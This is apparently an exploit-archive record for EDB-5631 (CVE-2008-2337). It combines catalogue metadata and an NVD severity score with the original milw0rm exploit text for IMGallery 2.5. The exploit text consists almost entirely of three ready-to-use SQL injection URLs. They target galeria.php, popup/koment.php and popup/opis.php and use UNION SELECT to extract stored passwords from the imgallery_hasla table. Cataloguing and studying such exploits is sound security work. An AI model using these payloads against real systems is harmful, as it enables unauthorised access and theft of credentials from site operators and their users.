{"exploit":{"id":"EDB-5631","name":"IMGallery 2.5 - Multiple SQL Injections (SQLi)","description":"IMGallery 2.5 - Multiple SQL Injections (SQLi)","cves":["CVE-2008-2337"],"author":"cOndemned","published":"2008-05-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5631","path":"exploits/php/webapps/5631.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5631.txt","vulnerabilities":[{"id":"CVE-2008-2337","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in IMGallery 2.5, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) kategoria parameter to (a) galeria.php and the (2) id_phot parameter to (b) popup/koment.php and (c) popup/opis.php in, different vectors than CVE-2006-3163.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2337","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2337"},"updatedAt":"2024-08-07T08:58:02.206Z","retrievedAt":"2026-11-27T15:07:38.723Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5631.png?v=2","url":"https://exploitbin.com/exploits/EDB-5631","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5631/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5631/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Name       : IMGallery 2.5 Multiply Remote SQL Injection Vulnerabilities\nAuthor     : cOndemned\nConditions : magic_quotes_gpc = off ;/\nGreetz     : irk4z, GregStar, ZaBeaTy, d3d!k, #CodersWorld, #gathering and Avantura ;***\n\n\nhttp://[attacked_box]/[imgallery]/galeria.php?start=0&kategoria='+union+select+haslo,2,3+from+imgallery_hasla/*\nhttp://[attacked_box]/[imgallery]/popup/koment.php?id_phot='-1+union+select+1,2,3,4,haslo+from+imgallery_hasla/*\nhttp://[attacked_box]/[imgallery]/popup/opis.php?id_phot='+union+select+haslo+from+imgallery_hasla/*\n\n# milw0rm.com [2008-05-15]","sha256":"265b289be8ec4098a94811f455fb29d12f316280dfe6c7a183ac6f063a6c2b3f","bytes":579,"fetchedAt":"2026-11-27T15:07:36.440Z","encoding":"utf-8 (display only; download retains original bytes)"}